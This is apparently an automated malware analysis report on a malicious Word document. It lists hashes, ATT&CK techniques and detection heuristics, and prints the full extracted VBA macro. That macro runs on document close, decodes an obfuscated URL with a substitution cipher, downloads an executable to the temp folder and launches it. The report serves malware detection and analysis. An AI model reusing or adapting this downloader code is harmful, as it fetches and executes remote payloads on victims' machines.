Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98921727f5cc4e28…

MALICIOUS

Office (OLE)

35.0 KB Created: 2018-06-22 02:30:00 Authoring application: Microsoft Office Word First seen: 2018-07-27
MD5: 9d2f0ac5d0bbc2b6042123bd3d655c9a SHA-1: 5c228e7c71f4cb919b25220e65a29fb144664f5a SHA-256: 98921727f5cc4e28be624c63fba525b3b0a0dad7c94200688be34d804385acca
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro within this document utilizes CreateObject to instantiate an XMLHTTP object for network communication. It then proceeds to download a payload from the obfuscated URL 'hÖÖÓ://ÕÂÀÒÖÕ.ÁÒm.ÀÙ/ÀÓÓlÄÁÀÖÄÒÅ/ÁÒÅÖÔÒllÂÔÕ/ÀdmÄÅ/bÄÅ/bÄų/bÄÅ.ÂÛÂ' and saves it to the temporary directory as 'TQåVQ.ÂÛÂ'. The use of Environ("tmp") indicates the payload is intended to be executed from the user's temporary directory.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQX = HCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYG.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set MSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEK = CreateObject("Shell.Application")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    GQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMM = Environ("tmp") + SYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFD("\TQåVQ.ÂÛÂ")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5221 bytes
SHA-256: 556098b6bb77057be603793173e89a95db4ace0957f80984524da2af5c156462
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Dim GQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMM
Dim MSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEK
Set MSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEK = CreateObject("Shell.Application")

Dim HCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYG
Set HCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYG = CreateObject("microsoft.xmlhttp")

GQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMM = Environ("tmp") + SYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFD("\TQåVQ.ÂÛÂ")
HCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYG.Open "GET", SYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFD("hÖÖÓ://ÕÂÀÒÖÕ.ÁÒm.ÀÙ/ÀÓÓlÄÁÀÖÄÒÅ/ÁÒÅÖÔÒllÂÔÕ/ÀdmÄÅ/bÄÅ/bÄų/bÄÅ.ÂÛÂ"), False
HCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYG.send
ZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQX = HCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYG.responseBody
If HCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYG.Status = 200 Then
Set OGLOMSBIMMRDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYO = CreateObject("adodb.stream")
OGLOMSBIMMRDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYO.Open
OGLOMSBIMMRDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYO.Type = 1
OGLOMSBIMMRDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYO.Write ZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQX
OGLOMSBIMMRDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYO.SaveToFile GQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMM, 2
OGLOMSBIMMRDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYO.Close
End If
MSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEK.Open (GQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMM)


End Sub

    Public Function SYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFD(IKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUT)
        RDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFI = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        XLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWN = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(IKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUT)
            VPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMMR = InStr(RDBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFI, Mid(IKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUT, i, 1))
            If VPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMMR > 0 Then
                DBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFIXLELNOKW = Mid(XLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWN, VPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUTCEFBNVRJBCMZDJIYGSSGKQFOEQYMZFCLDOGLOMSBIMMR, 1)
                LBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPR = LBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPR + DBPQGJTXSIFGFHZDHPDCKFHCPDSRJDNIELPHHBBOSYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFIXLELNOKW
            Else
                LBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPR = LBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPR + Mid(IKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPRERWTDBMXKGEKSZKEJUSHIXILPKZEEEGRUYOUT, i, 1)
            End If
        Next
        SYNWMYHNHGDMLWOTWUBJJTUZLCQYORCFZQNONPIFIXLELNOKWLBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFD = LBTQLVQMSXPPJCPBHOFNHJVPOLUTFPCFDIKRCDIMKYHQZKHCRVWVXQNQGMLTVWSFNJBSTERUBGQXRKXJIWNVPR
    End Function

Attribute VB_Name = "NewMacros"
Sub sheetus()
'
' sheetus Macro
'
'

End Sub

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